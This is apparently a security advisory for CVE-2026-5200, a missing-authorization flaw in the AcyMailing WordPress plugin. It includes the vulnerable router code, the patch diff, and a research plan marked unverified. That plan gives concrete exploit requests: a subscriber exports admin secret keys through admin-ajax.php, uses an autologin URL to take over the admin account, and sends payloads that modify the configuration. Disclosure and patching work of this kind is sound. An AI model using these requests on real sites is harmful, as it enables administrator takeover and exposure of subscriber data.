CVE-2026-5200

AcyMailing <= 10.8.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation via 'acymailing_router'

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
10.9.0
Patched in
1d
Time to patch

Description

The AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 10.8.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify privileged AcyMailing configuration, export subscriber secret keys, and chain these actions into administrator account takeover when a target administrator email address is known.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=10.8.2
PublishedMay 19, 2026
Last updatedMay 20, 2026
Affected pluginacymailing

What Changed in the Fix

Changes introduced in v10.9.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate privilege escalation and account takeover in AcyMailing versions 10.8.2 and below. ### 1. Vulnerability Summary The `acymailing` plugin registers a centralized AJAX router, `acymailing_router`, which fails to implement any capability che…

Show full research plan

This research plan outlines the steps required to demonstrate privilege escalation and account takeover in AcyMailing versions 10.8.2 and below.

1. Vulnerability Summary

The acymailing plugin registers a centralized AJAX router, acymailing_router, which fails to implement any capability checks (e.g., current_user_can()) or nonce verification. While the router calls auth_redirect(), this only ensures the user is authenticated (at any level, including Subscriber) but does not verify they have administrative permissions. This allows a low-privileged user to invoke high-privileged controller methods to modify configuration or export sensitive user data, including "secret keys" used for automated login.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: acymailing_router
  • Vulnerable Parameters: ctrl (specifies the controller) and task (specifies the method).
  • Authentication: Required (Subscriber or higher).
  • Preconditions: A known target administrator's email address or user ID.

3. Code Flow

  1. Entry Point: The AcyMailing\WpInit\Router::__construct registers wp_ajax_acymailing_router pointing to the router method.
  2. Authorization Failure: Inside AcyMailing\WpInit\Router::router(bool $front = false):
    • Line 158: if (!$front) { auth_redirect(); } is called. This only checks if the user is logged in.
    • The code then determines the controller via $ctrl = acym_getVar('cmd', 'ctrl', ''); (Line 183).
    • Line 222: The controller class is dynamically instantiated: $controllerNamespace = 'AcyMailing\\'.$subNamespace.'Controllers\\'.ucfirst($ctrl).'Controller';.
    • The code proceeds to invoke the controller without checking if the current user should have access to the back (admin) namespace controllers.
  3. Sink: Methods within AcyMailing\Controllers\UsersController or AcyMailing\Controllers\ConfigurationController are executed, allowing data export or setting modification.

4. Nonce Acquisition Strategy

The router method in WpInit/Router.php does not call check_ajax_referer or wp_verify_nonce. Therefore, the exploitation of this specific endpoint does not require a nonce.

Note: If specific controller tasks (invoked via the router) happen to check for a nonce independently, it can be found in the global JS variable acym_helper or acymailing localized by the plugin on admin pages accessible to subscribers (like the dashboard if enabled).

5. Exploitation Strategy

Step 1: Export Admin Secret Key

The attacker will use the UsersController to export user data. AcyMailing allows exporting user lists to CSV, which includes the key field.

  • Request Type: POST
  • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=acymailing_router
    &ctrl=users
    &task=export
    &export_type=csv
    &columns[]=email
    &columns[]=key
    &columns[]=id
    
  • Expected Response: A CSV file or a direct download link containing the email addresses and the secret key for all users, including the administrator.

Step 2: Account Takeover via Autologin

Once the administrator's key and id (or email) are obtained, the attacker uses the autologin feature registered in Router.php.

  • Target URL: http://vulnerable-site.com/index.php?acy_user=[ADMIN_ID]&acy_key=[SECRET_KEY]
  • Mechanism: The Router::autologin method (invoked on the init hook) checks these parameters and authenticates the session as the user associated with that key.

6. Test Data Setup

  1. Users:
    • Create an Administrator user (e.g., admin@example.com).
    • Create a Subscriber user (e.g., attacker@example.com).
  2. Plugin State: Ensure AcyMailing 10.8.2 is installed and activated.
  3. Data: Ensure the AcyMailing user table contains the administrator's record (the plugin usually syncs WP users to its own table automatically).

7. Expected Results

  • The AJAX request to ctrl=users&task=export should return a 200 OK response with the CSV content, despite the requester being a Subscriber.
  • The CSV content must contain a column for key.
  • Navigating to the autologin URL should result in the attacker being redirected to the dashboard as the Administrator.

8. Verification Steps

  1. Check Role: After the autologin redirect, use wp user get $(wp user self --field=ID) --field=roles to verify the current session is an administrator.
  2. Verify Configuration Access: Attempt to access the AcyMailing configuration page via the UI to confirm full administrative access.
  3. Database Check: Confirm the key used matches the key in the {prefix}_acym_user table:
    wp db query "SELECT email, \key` FROM wp_acym_user WHERE cms_id = 1"`

9. Alternative Approaches

If the export task is restricted within the controller, attempt to use the UsersController::edit task to read the admin's profile:

  • Request: action=acymailing_router&ctrl=users&task=edit&id=[ADMIN_ID]
  • Payload: Look for the secret key in the HTML response/form fields.

If configuration modification is the goal:

  • Task: ctrl=configuration&task=save
  • Payload: &config[sender_email]=attacker@example.com&config[allow_unsub]=0 (demonstrating unauthorized config modification).
Research Findings
Static analysis — not yet PoC-verified

Summary

The AcyMailing plugin (<= 10.8.2) fails to perform adequate authorization checks within its centralized AJAX router, 'acymailing_router'. While the router ensures a user is authenticated, it does not verify administrative capabilities, allowing low-privileged users (like Subscribers) to execute administrative controller methods. This can lead to sensitive data exposure, including administrator 'secret keys' used for automated login, resulting in full account takeover.

Vulnerable Code

// AcyMailing/WpInit/Router.php:157
    public function router(bool $front = false): void
    {
        displayFreeTrialMessage();


        if (!$front) {
            auth_redirect();
        }

// ... 

// AcyMailing/WpInit/Router.php:222
        $this->deactivateHookAdminFooter();
        $subNamespace = $front ? 'Front' : '';
        $controllerNamespace = 'AcyMailing\\'.$subNamespace.'Controllers\\'.ucfirst($ctrl).'Controller';

        if (!class_exists($controllerNamespace)) {
            echo acym_translation('ACYM_PAGE_NOT_FOUND').': '.$ctrl;

            return;
        }

        $controller = new $controllerNamespace();
        $controller->call($task);

Security Fix

--- a/back/WpInit/Router.php
+++ b/back/WpInit/Router.php
@@ -158,6 +158,10 @@
 
         if (!$front) {
             auth_redirect();
+
+            if (!acym_isAdmin()) {
+                wp_die(acym_translation('ACYM_NOT_ALLOWED'));
+            }
         }
 
         if (file_exists(ACYM_FOLDER.'update.php')) {

Exploit Outline

1. Authenticate to the WordPress site as a user with Subscriber-level privileges. 2. Submit a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'acymailing_router'. 3. Configure the 'ctrl' parameter to 'users' and the 'task' parameter to 'export' to trigger the user data export functionality. 4. Include the 'columns[]' parameter set to 'email' and 'key' (and 'id') to ensure the secret autologin keys are included in the generated CSV. 5. Download the CSV output and identify the administrator's account ID and secret key. 6. Navigate to the site's autologin URL (e.g., /?acy_user=[ADMIN_ID]&acy_key=[SECRET_KEY]) to gain full administrative access to the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.